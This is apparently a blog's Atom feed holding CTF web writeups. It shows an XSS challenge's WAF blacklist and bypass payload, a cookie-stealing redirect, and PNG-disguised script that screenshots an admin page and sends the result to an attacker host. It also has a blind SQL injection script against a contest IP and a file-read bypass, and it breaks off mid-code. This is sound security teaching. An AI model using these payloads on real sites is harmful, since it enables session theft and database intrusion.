-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
982 lines (783 loc) · 469 KB
/
atom.xml
File metadata and controls
982 lines (783 loc) · 469 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>打代码的怪兽 CodeMonster</title>
<link href="/atom.xml" rel="self"/>
<link href="https://www.codemonster.cn/"/>
<updated>2020-05-06T05:40:31.000Z</updated>
<id>https://www.codemonster.cn/</id>
<author>
<name>CodeMonster</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>2020 De1CTF Animal Crossing WriteUp (En)</title>
<link href="https://www.codemonster.cn/2020/05/06/2020-de1ctf-animal-crossing-writeup-en/"/>
<id>https://www.codemonster.cn/2020/05/06/2020-de1ctf-animal-crossing-writeup-en/</id>
<published>2020-05-06T05:34:59.000Z</published>
<updated>2020-05-06T05:40:31.000Z</updated>
<content type="html"><![CDATA[<p>2020 De1CTF Animal Crossing WriteUp.<br><a id="more"></a></p>
<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><p>Free passport creator lets you show your island!</p>
<h2 id="Level-1-bypass-the-cloud-WAF"><a href="#Level-1-bypass-the-cloud-WAF" class="headerlink" title="Level 1: bypass the cloud WAF"></a>Level 1: bypass the cloud WAF</h2><p>Cloud WAF usually has several layers and several filtering methods. Here I also designed two layers of protection.</p>
<h3 id="Layer-1-Blacklist-detection"><a href="#Layer-1-Blacklist-detection" class="headerlink" title="Layer 1: Blacklist detection"></a>Layer 1: Blacklist detection</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> blackList = []<span class="keyword">string</span>{</span><br><span class="line"> <span class="comment">//global</span></span><br><span class="line"> <span class="string">"document"</span>, <span class="string">"window"</span>, <span class="string">"top"</span>, <span class="string">"parent"</span>, <span class="string">"global"</span>, <span class="string">"this"</span>,</span><br><span class="line"> <span class="comment">//func</span></span><br><span class="line"> <span class="string">"console"</span>, <span class="string">"alert"</span>, <span class="string">"log"</span>, <span class="string">"promise"</span>, <span class="string">"fetch"</span>, <span class="string">"eval"</span>, <span class="string">"import"</span>,</span><br><span class="line"> <span class="comment">//char</span></span><br><span class="line"> <span class="string">"<"</span>, <span class="string">">"</span>, <span class="string">"`"</span>, <span class="string">"\\*"</span>, <span class="string">"&"</span>, <span class="string">"#"</span>, <span class="string">"%"</span>, <span class="string">"\\\\"</span>,</span><br><span class="line"> <span class="comment">//key</span></span><br><span class="line"> <span class="string">"if"</span>, <span class="string">"set"</span>, <span class="string">"get"</span>, <span class="string">"with"</span>, <span class="string">"yield"</span>, <span class="string">"async"</span>, <span class="string">"wait"</span>, <span class="string">"func"</span>, <span class="string">"for"</span>, <span class="string">"error"</span>, <span class="string">"string"</span>,</span><br><span class="line"> <span class="comment">//string</span></span><br><span class="line"> <span class="string">"href"</span>, <span class="string">"location"</span>, <span class="string">"url"</span>, <span class="string">"cookie"</span>, <span class="string">"src"</span>,</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>The way to bypass the blacklist is to avoid the strings and characters of ban. Here, because of the iris framework problem of go, the <code>;</code> and the data after it will be deleted, and can be bypassed with <code>%0a</code></p>
<h3 id="Layer-2-Static-syntax-analysis"><a href="#Layer-2-Static-syntax-analysis" class="headerlink" title="Layer 2: Static syntax analysis"></a>Layer 2: Static syntax analysis</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">1. Pass in data to fmt.Sprintf("'%s';", data), and then parse the syntax. If parse fails, the error will be returned directly.</span><br><span class="line">2. And then we visit AST nodes:</span><br><span class="line"> 1. VariableExpression/AssignExpression, All declaration/assignment statements will ban</span><br><span class="line"> 2. CallExpression, all function call, and callee not Identifier, will ban, example:</span><br><span class="line"> 1. ban: test.test()、a[x]()</span><br><span class="line"> 2. pass: test()</span><br><span class="line"> 3. BracketExpression, all member reference and member is not Identifier, will ban, example:</span><br><span class="line"> 1. ban: a[1]、a['xx']</span><br><span class="line"> 2. pass: a[x]</span><br></pre></td></tr></table></figure>
<p>This layer of WAF, in fact, only needs to find out the rule of ban and find the unprocessed syntax to bypass it. My expected solution here is to pass variables with <code>throw</code>, but there are many other syntax that can be used.</p>
<p>The payload:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">data=base64DATAXXXXXXX<span class="string">'%0atry{throw '</span>ev<span class="string">'%2b'</span>al<span class="string">'}catch(e){try{throw frames[e]}catch(c){c(atob(data))}}%0a//</span></span><br></pre></td></tr></table></figure>
<p>After bypassing the two layers of WAF protection, the local successful alert, we can use:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">location.href = <span class="string">"http://xxxx/?"</span> + btoa(ducument.cookie)</span><br></pre></td></tr></table></figure>
<p>get the admin cookie, and the cookie is a part of the flag:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FLAG=De1CTF{I_l1k4_</span><br></pre></td></tr></table></figure>
<h2 id="Level-2-read-400-pictures"><a href="#Level-2-read-400-pictures" class="headerlink" title="Level 2: read 400 pictures"></a>Level 2: read 400 pictures</h2><p>In the other half of the flag, hint:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">What is the admin doing?</span><br></pre></td></tr></table></figure>
<p>Read the administrator’s document, you will find that there are 400 PNG images, and the flag is hidden in these images. </p>
<p>Here are several solutions preset during the design:</p>
<ol>
<li>Bypass CSP to import html2canvas lib, get the screenshot and upload to server, get the image address and send it back, then download the image</li>
<li>Use the for loop to send all 400 pictures to /upload, get 400 picture addresses and send back</li>
<li>Read the pictures directly and send them back one by one, write scripts, or use for to circulate and batch transfer, but the return process needs code conversion, and after the transfer back, it also needs to be converted into pictures for splicing</li>
</ol>
<p>All three solutions can get the flag, I will introduce the solution of bypassing CSP and import html2canvas lib. Other methods are similar, so I won’t write them all (You can go to see the players’ writeup),</p>
<h3 id="Bypass-CSP-to-import-html2canvas-lib"><a href="#Bypass-CSP-to-import-html2canvas-lib" class="headerlink" title="Bypass CSP to import html2canvas lib"></a>Bypass CSP to import html2canvas lib</h3><p>The main function of this website is to create a animal crossing passport, The homepage has a <code>/upload</code> api for upload image, you can upload a file with <code>png</code> suffix, and use <code>fetch</code> get the png file source, then <code>eval</code> it. You can bypass CSP to import the html2canvas lib and execute it. </p>
<p>The png file:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"> ...</span><br><span class="line"> ...</span><br><span class="line">html2canvas.js code</span><br><span class="line"> ...</span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"><span class="comment">// screenshot->upload screenshot->send img address back</span></span><br><span class="line">html2canvas(<span class="built_in">document</span>.body).then(<span class="function"><span class="keyword">function</span>(<span class="params">canvas</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> form = <span class="keyword">new</span> FormData(),</span><br><span class="line"> url = <span class="string">"/upload"</span>,</span><br><span class="line"> blob = <span class="keyword">new</span> Blob([canvas.toDataURL().toString()], {<span class="attr">type</span> : <span class="string">"image/png"</span>})</span><br><span class="line"> file = <span class="keyword">new</span> File([blob], <span class="string">"a.png"</span>)</span><br><span class="line"> form.append(<span class="string">"file"</span>, file)</span><br><span class="line"> fetch(url, {</span><br><span class="line"> method: <span class="string">"POST"</span>,</span><br><span class="line"> body: form</span><br><span class="line"> }).then(<span class="function"><span class="keyword">function</span>(<span class="params">response</span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> response.json()</span><br><span class="line"> }).then(<span class="function"><span class="keyword">function</span>(<span class="params">data</span>) </span>{</span><br><span class="line"> location.href=<span class="string">"//xxxxxxxxx:8099/?"</span>+data.data.toString()</span><br><span class="line"> })</span><br><span class="line"> })</span><br></pre></td></tr></table></figure>
<p>Here I also write the JS of screenshot operation into png. </p>
<p>It upload the screenshot to the server and get the returned image address, then send it back to the attacker</p>
<h3 id="Read-image-and-execute"><a href="#Read-image-and-execute" class="headerlink" title="Read image and execute"></a>Read image and execute</h3><p>After upload the image, get the png address, then you can read the image with the controllable JS part and execute it</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fetch(<span class="string">`/static/images/xxxxxxxxx.png`</span>).then(<span class="function"><span class="params">res</span>=></span>res.text()).then(<span class="function"><span class="params">txt</span>=></span><span class="built_in">eval</span>(txt))</span><br></pre></td></tr></table></figure>
<p>And you can use the method of bypassing the WAF to pack it</p>
<p>Finally, when submitted to the BOT, you can receive the address of the screenshot of the admin’s interface, and download it to see the other half of the flag</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cool_GamE}</span><br></pre></td></tr></table></figure>
<p>Flag:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">De1CTF{I_l1k4_cool_GamE}</span><br></pre></td></tr></table></figure>
]]></content>
<summary type="html">
<p>2020 De1CTF Animal Crossing WriteUp.<br>
</summary>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="XSS" scheme="https://www.codemonster.cn/tags/XSS/"/>
</entry>
<entry>
<title>2020 De1CTF Animal Crossing WriteUp</title>
<link href="https://www.codemonster.cn/2020/05/06/2020-de1ctf-animal-crossing-writeup/"/>
<id>https://www.codemonster.cn/2020/05/06/2020-de1ctf-animal-crossing-writeup/</id>
<published>2020-05-06T05:32:59.000Z</published>
<updated>2020-05-06T05:35:34.000Z</updated>
<content type="html"><![CDATA[<p>一年一度的De1CTF又来了,这次出了道简单XSS题,下面是具体WriteUp。<br><a id="more"></a></p>
<h2 id="题目描述"><a href="#题目描述" class="headerlink" title="题目描述"></a>题目描述</h2><p>免费创建护照来展示你的岛屿!</p>
<h2 id="第一关:绕过云WAF"><a href="#第一关:绕过云WAF" class="headerlink" title="第一关:绕过云WAF"></a>第一关:绕过云WAF</h2><p>云WAF通常有好几层好几种过滤手段,这里我也是设计了了两层防护</p>
<h3 id="第一层:黑名单检测"><a href="#第一层:黑名单检测" class="headerlink" title="第一层:黑名单检测"></a>第一层:黑名单检测</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> blackList = []<span class="keyword">string</span>{</span><br><span class="line"> <span class="comment">//global</span></span><br><span class="line"> <span class="string">"document"</span>, <span class="string">"window"</span>, <span class="string">"top"</span>, <span class="string">"parent"</span>, <span class="string">"global"</span>, <span class="string">"this"</span>,</span><br><span class="line"> <span class="comment">//func</span></span><br><span class="line"> <span class="string">"console"</span>, <span class="string">"alert"</span>, <span class="string">"log"</span>, <span class="string">"promise"</span>, <span class="string">"fetch"</span>, <span class="string">"eval"</span>, <span class="string">"import"</span>,</span><br><span class="line"> <span class="comment">//char</span></span><br><span class="line"> <span class="string">"<"</span>, <span class="string">">"</span>, <span class="string">"`"</span>, <span class="string">"\\*"</span>, <span class="string">"&"</span>, <span class="string">"#"</span>, <span class="string">"%"</span>, <span class="string">"\\\\"</span>,</span><br><span class="line"> <span class="comment">//key</span></span><br><span class="line"> <span class="string">"if"</span>, <span class="string">"set"</span>, <span class="string">"get"</span>, <span class="string">"with"</span>, <span class="string">"yield"</span>, <span class="string">"async"</span>, <span class="string">"wait"</span>, <span class="string">"func"</span>, <span class="string">"for"</span>, <span class="string">"error"</span>, <span class="string">"string"</span>,</span><br><span class="line"> <span class="comment">//string</span></span><br><span class="line"> <span class="string">"href"</span>, <span class="string">"location"</span>, <span class="string">"url"</span>, <span class="string">"cookie"</span>, <span class="string">"src"</span>,</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>黑名单的绕过思路无非避开被ban的字符串和字符,这里因为go的iris框架问题(看不出来是golang吧),导致<code>;</code>后的东西会被删掉,可以用%0a绕过</p>
<h3 id="第二层:静态语法分析"><a href="#第二层:静态语法分析" class="headerlink" title="第二层:静态语法分析"></a>第二层:静态语法分析</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">1. 将data传入`fmt.Sprintf("'%s';", data)`,然后进行语法解析,这里parse失败直接ban</span><br><span class="line">2. 接着遍历AST进行分析:</span><br><span class="line"> 1. VariableExpression/AssignExpression,所有声明语句/赋值语句直接ban</span><br><span class="line"> 2. CallExpression,所有函数调用的,且callee不为Identifier的直接ban</span><br><span class="line"> 1. ban:`test.test()`、`a[x]()`</span><br><span class="line"> 2. pass:`test()`</span><br><span class="line"> 3. BracketExpression,也就是成员引用,Member不为Identifier的直接ban,</span><br><span class="line"> 1. ban:`a[1]`、`a['xx']`</span><br><span class="line"> 2. pass:`a[x]`</span><br></pre></td></tr></table></figure>
<p>这一层waf,其实只要摸清ban的套路,针对性找到没被处理的语法来绕过即可,这里我的预期解是用throw传递变量,但是还有很多其他能用的语法(事实证明确实有很多</p>
<p>预期解payload:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">data=base64code<span class="string">'%0atry{throw '</span>ev<span class="string">'%2b'</span>al<span class="string">'}catch(e){try{throw frames[e]}catch(c){c(atob(data))}}%0a//</span></span><br></pre></td></tr></table></figure>
<p>绕过WAF的两层防护之后本地能成功alert就可以用</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">location.href = <span class="string">"http://xxxx/?"</span> + btoa(ducument.cookie)</span><br></pre></td></tr></table></figure>
<p>打到管理员cookie了,cookie中包含一半的flag:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FLAG=De1CTF{I_l1k4_</span><br></pre></td></tr></table></figure>
<h2 id="第二关:读取400张图片"><a href="#第二关:读取400张图片" class="headerlink" title="第二关:读取400张图片"></a>第二关:读取400张图片</h2><p>另外一半flag,题目给了hint:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">管理员在做什么?</span><br></pre></td></tr></table></figure>
<p>读取管理员的document,会发现有400多张png图片,flag就藏在这些图片当中,这里设计的时候预设了下面几种解法:</p>
<ol>
<li>绕过CSP引入截图库,截图后把图片传到/upload,获取图片地址回传,然后下载图片</li>
<li>用for循环把400个图全部传到/upload,获取400个图片地址然后回传</li>
<li>直接读取图片回传,可以是写脚本一张一张传,也可以是用for循环批量传,但是回传过程需要编码转换,传回去后也需要再转成图片进行拼接</li>
</ol>
<p>三种方法有简单的也有复杂的,国外三支队伍用的都是第三种,把所有图片dump出去(我猜大佬们没发现/upload接口 23333),而国内的选手用的是解法2,下面我详细介绍下绕过CSP引入截图库的解法,其他的方法也是类似,就不全写出来了(感兴趣的可以去看解出来的大佬们的wp)。</p>
<h3 id="绕过CSP引入截图库"><a href="#绕过CSP引入截图库" class="headerlink" title="绕过CSP引入截图库"></a>绕过CSP引入截图库</h3><p>本题的主要功能是制造动森护照,主页是有一个上传文件接口的,利用/upload接口,可以上传任意png后缀的文件,然后用fetch读这个png文件,再eval一下,就可以绕过CSP引入html2canvas库并且执行了,上传的png文件如下</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"> ...</span><br><span class="line"> ...</span><br><span class="line">html2canvas.js代码</span><br><span class="line"> ...</span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"><span class="comment">// 截图->上传到upload->外传图片地址</span></span><br><span class="line">html2canvas(<span class="built_in">document</span>.body).then(<span class="function"><span class="keyword">function</span>(<span class="params">canvas</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> form = <span class="keyword">new</span> FormData(),</span><br><span class="line"> url = <span class="string">"/upload"</span>,</span><br><span class="line"> blob = <span class="keyword">new</span> Blob([canvas.toDataURL().toString()], {<span class="attr">type</span> : <span class="string">"image/png"</span>})</span><br><span class="line"> file = <span class="keyword">new</span> File([blob], <span class="string">"a.png"</span>)</span><br><span class="line"> form.append(<span class="string">"file"</span>, file)</span><br><span class="line"> fetch(url, {</span><br><span class="line"> method: <span class="string">"POST"</span>,</span><br><span class="line"> body: form</span><br><span class="line"> }).then(<span class="function"><span class="keyword">function</span>(<span class="params">response</span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> response.json()</span><br><span class="line"> }).then(<span class="function"><span class="keyword">function</span>(<span class="params">data</span>) </span>{</span><br><span class="line"> location.href=<span class="string">"//xxxxxxxxx:8099/?"</span>+data.data.toString()</span><br><span class="line"> })</span><br><span class="line"> })</span><br></pre></td></tr></table></figure>
<p>这里我把截图操作的js也写到png里了,主要思路就是截图完用/upload传到服务器,获取返回的图片地址回传给攻击者</p>
<h3 id="读取图片并执行"><a href="#读取图片并执行" class="headerlink" title="读取图片并执行"></a>读取图片并执行</h3><p>把图片用/upload接口上传后,获取png地址,再用可控的js部分去读取这个图片再执行即可</p>
<p>读取并执行的代码如下:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fetch(<span class="string">`/static/images/xxxxxxxxx.png`</span>).then(<span class="function"><span class="params">res</span>=></span>res.text()).then(<span class="function"><span class="params">txt</span>=></span><span class="built_in">eval</span>(txt))</span><br></pre></td></tr></table></figure>
<p>用绕过第一关的办法包装一下就可以了</p>
<p>最后提交到bot就能接收到管理员界面截图的地址了,直接下载就能看到另一半flag了</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cool_GamE}</span><br></pre></td></tr></table></figure>
<p>最后flag:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">De1CTF{I_l1k4_cool_GamE}</span><br></pre></td></tr></table></figure>
<h2 id="出题感想"><a href="#出题感想" class="headerlink" title="出题感想"></a>出题感想</h2><p>出这道题的原因是因为最近一段时间工作上接触云WAF比较多,而印象中的xss题还没有静态语法分析相关的,本着realworld的想法就套进来了,而第二关一开始是看到了PNG绕过CSP那篇文章,但是出题到后面发现没加图片校验,算了还是简单点吧23333。 </p>
<p>这次比赛一共4支队伍解出这道题,其中3支国外队伍(老外还是🐂),一支国内队伍,总而言之,个人对这次出的这道题还是比较满意的,真的沉下心去研究绕WAF、外传图片的人也是能学到东西的,这就够啦!</p>
]]></content>
<summary type="html">
<p>一年一度的De1CTF又来了,这次出了道简单XSS题,下面是具体WriteUp。<br>
</summary>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="XSS" scheme="https://www.codemonster.cn/tags/XSS/"/>
</entry>
<entry>
<title>2020 高校战“疫”网络安全分享赛部分WEB WriteUp</title>
<link href="https://www.codemonster.cn/2020/03/09/2020-gxzyctf-writeup/"/>
<id>https://www.codemonster.cn/2020/03/09/2020-gxzyctf-writeup/</id>
<published>2020-03-09T12:42:59.000Z</published>
<updated>2020-03-09T13:41:47.000Z</updated>
<content type="html"><![CDATA[<p>这周末遇上高校战“疫”赛,打了两天,这里记录一下做的和参与做的几道题<br><a id="more"></a></p>
<h2 id="easy-trick-gzmtu"><a href="#easy-trick-gzmtu" class="headerlink" title="easy_trick_gzmtu"></a>easy_trick_gzmtu</h2><p>传入2020 和Y都能查出结果,传入y20,yy,20y也可以,<br>猜测后端对参数做了date()转换,用\可以使date后的字符串不变,于是构造盲注脚本<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">se = requests.Session()</span><br><span class="line"></span><br><span class="line">pl = <span class="string">r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\d\a\t\a\b\a\s\e()),%d,1)))=%d%%23'</span></span><br><span class="line">pl = <span class="string">r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\g\r\o\u\p_\c\o\n\c\a\t(\t\a\b\l\e_\n\a\m\e)%%20\f\r\o\m%%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\t\a\b\l\e\s \w\h\e\r\e \t\a\b\l\e_\s\c\h\e\m\a=\d\a\t\a\b\a\s\e()),%d,1)))=%d%%23'</span></span><br><span class="line">pl = <span class="string">r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\g\r\o\u\p_\c\o\n\c\a\t(\c\o\l\u\m\n_\n\a\m\e)%%20\f\r\o\m%%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\c\o\l\u\m\n\s%%20\w\h\e\r\e%%20\t\a\b\l\e_\n\a\m\e=%%27\a\d\m\i\n%%27),%d,1)))=%d%%23'</span></span><br><span class="line">pl = <span class="string">r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\g\r\o\u\p_\c\o\n\c\a\t(\u\r\l)%%20\f\r\o\m%%20\a\d\m\i\n),%d,1)))=%d%%23'</span></span><br><span class="line">text = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> xrange(<span class="number">1</span>,<span class="number">50</span>):</span><br><span class="line"> <span class="keyword">for</span> y <span class="keyword">in</span> xrange(<span class="number">33</span>,<span class="number">126</span>):</span><br><span class="line"> res = se.get(pl % (x,y))</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'Hello World --Brian Kernighan'</span> <span class="keyword">in</span> res.content:</span><br><span class="line"> text += chr(y)</span><br><span class="line"> <span class="keyword">print</span> text</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure><br>注入出一个admin用户<br><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">账号 admin</span><br><span class="line">密码 20200202goodluck</span><br><span class="line"><span class="attribute">URL:http://121.37.181.246:6333/eGlhb2xldW5n/</span></span><br></pre></td></tr></table></figure><br>有个读文件的地方,限制了只能本地读取文件,发现<code>file://localhost/</code>可以绕过<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://121.37.181.246:6333/eGlhb2xldW5n/check.php?url=file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php</span><br></pre></td></tr></table></figure><br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span 